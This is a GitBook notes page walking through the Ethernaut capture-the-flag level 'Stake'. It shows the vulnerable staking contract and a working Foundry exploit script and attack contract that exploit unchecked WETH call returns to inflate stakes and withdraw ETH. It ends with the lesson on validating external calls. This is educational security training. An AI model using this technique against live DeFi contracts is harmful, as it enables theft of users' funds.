Eridian
eridian.xyzx.comGitHub
  • 📖Eridian Docs
  • Ethereum Dev
    • ✏️Ethereum Notes
      • 🎛️Technical Basics
      • 🪧Ethereum Addresses
      • 📚Ethereum State Explained
      • ⛽Gas Fees Explained
    • 🔧Useful Tools
      • ☁️Ethers
      • *️⃣Ethernal
    • 📝Solidity Notes
      • ❔Interview Questions
        • 🟢1. Easy - Interview Questions
        • 🟠2. Medium - Interview Questions
        • 🟡3. Hard - Interview Questions
        • 🔴4. Advanced - Interview Questions
      • 💡Note Ideas
      • ABI
      • abi.encodePacked
      • Abstract Contracts
      • Arrays
      • Casting
      • CEI - Checks, Effects, Interactions
      • Comments (NATSPEC)
      • Constructor
      • Contract Structure & Versions
      • Data - Storage vs Memory
      • Data - Storage Layout
      • Enum
      • Errors (require & revert)
      • Events
      • EVM Opcodes
      • External Contract Interaction
      • 🏗️External Dependencies
      • Functions
      • Function Modifiers
      • If / Else / For / While Loops
      • Inheritance
      • Interfaces
      • Keccak256
      • Library
      • Mappings
      • msg.sender
      • Objects & Types
      • OpenZeppelin
      • Payable
      • Public State Variable vs Function
      • Receive & Fallback
      • Security
      • Self Destruct
      • Send ETH (transfer, send, call)
      • Stack Too Deep
      • Structs
      • Style Guide
      • Time Units
      • Try / Catch
      • Typecasting
      • Using Directive
      • Variables, Consts & Immutable
      • Withdraws
    • ⚒️Foundry Notes
      • 📖Docs & GitHub Pages
      • 🤝Useful Commands
        • 🔨Anvil
        • 🪄Cast
        • 🔥Forge
      • 🧪Tests
        • Cheatcodes
      • 📝Useful Scripts
        • Deploy Contract Using Hex
    • 👾DeFi Challenges
      • 👨‍🚀Ethernaut
        • Ethernaut - Template
        • Level 1 - Fallback ⏺
        • Level 2 - Fallout ⏺
        • Level 3 - Coin Flip ⏺⏺
        • Level 4 - Telephone ⏺
        • Level 5 - Token ⏺⏺
        • Level 6 - Delegation ⏺⏺
        • Level 7 - Force ⏺⏺⏺
        • Level 8 - Vault ⏺⏺
        • Level 9 - King ⏺⏺⏺
        • Level 10 - Re-entrancy ⏺⏺⏺
        • Level 11 - Elevator ⏺⏺
        • Level 12 - Privacy ⏺⏺⏺
        • Level 13 - Gatekeeper 1 ⏺⏺⏺⏺
        • Level 14 - Gatekeeper 2 ⏺⏺⏺
        • Level 15 - Naught Coin ⏺⏺⏺
        • Level 16 - Preservation ⏺⏺⏺⏺
        • Level 17 - Recovery ⏺⏺⏺
        • Level 18 - Magic Number ⏺⏺⏺
        • Level 19 - Alien Codex ⏺⏺⏺⏺
        • Level 20 - Denial ⏺⏺⏺
        • Level 21 - Shop ⏺⏺
        • Level 22 - Dex ⏺⏺
        • Level 23 - Dex Two ⏺⏺
        • Level 24 - Puzzle Wallet ⏺⏺⏺⏺
        • Level 25 - Motorbike ⏺⏺⏺
        • Level 26 - DoubleEntryPoint ⏺⏺
        • Level 27 - Good Samaritan ⏺⏺⏺
        • Level 28 - Gatekeeper 3 ⏺⏺⏺
        • Level 29 - Switch ⏺⏺⏺⏺
        • Level 30 - Higher Order ⏺⏺⏺⏺
        • Level 31 - Stake ⏺⏺⏺
      • 💸Damn Vulnerable DeFi
    • 🔍Auditing
      • 🗞️Exploit Resources
      • 🔧Audit Tools
    • 🤖MEV
  • Infrastructure Docs
    • 💻Hardware
    • 🐧Linux
      • 📖Linux Glossary
      • ⌨️Linux Commands
      • 💾Installation
      • 🏗️Maintenance
      • 🖥️Ubuntu Desktop
      • 🛜ZeroTier
      • 🎞️TMUX
      • 🔵Bluetooth
    • ⛓️Ethereum Clients
      • ⚙️Execution Clients
        • ⛏️Geth
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🐻Erigon
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🧶Besu
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 🤝Beacon Clients
        • 💡Lighthouse
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🪅Teku
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 💎Validator Clients
        • 💡Lighthouse
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • ➕L2 Clients
        • 🔵Base
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 💰MEV Boost
        • 💾Installation
        • 🏗️Maintenance
    • 🚨Alerting and Monitoring
      • 🔥Prometheus
      • 🌡️HealthChecks.io
      • 📟PagerDuty
  • General Dev
    • 💾Git Notes
      • Repos
      • Committing changes
      • Branches
      • Merging & Rebasing
      • PRs
Powered by GitBook
On this page
  • Level Setup
  • Level Contract
  • Exploit
  • Completion Message
  • Notes
Edit on GitHub
  1. Ethereum Dev
  2. DeFi Challenges
  3. Ethernaut

Level 31 - Stake ⏺⏺⏺

Last updated 8 months ago

Level Setup

Stake is safe for staking native ETH and ERC20 WETH, considering the same 1:1 value of the tokens. Can you drain the contract?

To complete this level, the contract state must meet the following conditions:

  • The Stake contract's ETH balance has to be greater than 0.

  • totalStaked must be greater than the Stake contract's ETH balance.

  • You must be a staker.

  • Your staked balance must be 0.

Things that might be useful:

  • specification.

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;

    constructor(address _weth) payable{
        totalStaked += msg.value;
        WETH = _weth;
    }

    function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }
    function StakeWETH(uint256 amount) public returns (bool){
        require(amount >  0.001 ether, "Don't be cheap");
        (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
        require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
        Stakers[msg.sender] = true;
        return transfered;
    }

    function Unstake(uint256 amount) public returns (bool){
        require(UserStake[msg.sender] >= amount,"Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value : amount}("");
        return success;
    }
    function bytesToUint(bytes memory data) internal pure returns (uint256) {
        require(data.length >= 32, "Data length must be at least 32 bytes");
        uint256 result;
        assembly {
            result := mload(add(data, 0x20))
        }
        return result;
    }
}

Exploit

make anvil-exploit-level-31

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
make holesky-exploit-level-31

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
src/Level31.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ================================================================
// │                        LEVEL 31 - STAKE                      │
// ================================================================
interface IStake {
    function StakeETH() external payable;
}

contract AttackContract {
    IStake private immutable stake;

    constructor(address _stakeContract) payable {
        stake = IStake(_stakeContract);
    }

    function attack() external payable {
        // Become a staker with 0.001 ETH + 2 wei (1 will be left behind)
        stake.StakeETH{value: msg.value}();
    }
}
script/Level31.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

import {AttackContract} from "src/Level31.sol";

// ================================================================
// │                        LEVEL 31 - STAKE                      │
// ================================================================
interface IWETH {
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

interface IStake {
    function WETH() external view returns (address);
    function totalStaked() external view returns (uint256);
    function StakeETH() external payable;
    function StakeWETH(uint256 amount) external returns (bool);
    function Unstake(uint256 amount) external returns (bool);
    function Stakers(address) external view returns (bool);
    function UserStake(address) external view returns (uint256);
}

contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        IStake stake = IStake(targetContractAddress);
        uint256 amount = 0.001 ether + 1 wei;
        IWETH weth = IWETH(stake.WETH());

        vm.startBroadcast();

        // Deploy the AttackContract contract and stake some ETH
        AttackContract attackContract = new AttackContract(address(stake));
        attackContract.attack{value: amount + 1 wei}();

        // Become a staker
        stake.StakeETH{value: amount}();

        // Approve the stake contract to use WETH
        weth.approve(address(stake), amount);

        // Stake WETH (that we don't have!)
        stake.StakeWETH(amount);

        // Unstake ETH + WETH (leave 1 wei in Stake contract)
        stake.Unstake(amount * 2);

        // 1. The Stake contract's ETH balance has to be greater than 0
        console.log("Stake contract ETH balance:", address(stake).balance);
        require(address(stake).balance > 0, "Stake balance == 0");

        // 2. totalStaked must be greater than the Stake contract's ETH balance
        console.log("Total staked:", stake.totalStaked());
        require(stake.totalStaked() > address(stake).balance, "Balance > Total staked");

        // 3. You must be a staker.
        console.log("You are a staker:", stake.Stakers(address(msg.sender)), address(msg.sender));
        require(stake.Stakers(address(msg.sender)), "You are not a staker");

        // 4. Your staked balance must be 0.
        console.log("Your staked balance:", stake.UserStake(address(msg.sender)));
        require(stake.UserStake(address(msg.sender)) == 0, "Your staked balance != 0");

        vm.stopBroadcast();
    }
}
  1. Submit instance... 🥳

Completion Message

Congratulations, you have cracked the Stake machine!

When performing low-level calls to external contracts, it is important to properly validate external call returns to determine whether the call reverted.

Notes

For more info, check out requirement, and always use when interacting with external ERC-20 tokens.

👾
👨‍🚀
EEA EthTrust [S] Check External Calls Return
SafeERC20
ERC-20
OpenZeppelin contracts
https://ethernaut.openzeppelin.com/level/31
Logo
ethernaut/contracts/src/levels/Stake.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd · OpenZeppelin/ethernautGitHub
ethernaut-foundry/src/Level31.sol at 51c13556556d7786c3d3aae552a8d9fa18b32d81 · EridianAlpha/ethernaut-foundryGitHub
ethernaut-foundry/script/Level31.s.sol at 51c13556556d7786c3d3aae552a8d9fa18b32d81 · EridianAlpha/ethernaut-foundryGitHub
The Ethernaut CTF Solutions | 31 - StakeWeb3 Security
Logo
Logo
Logo
Logo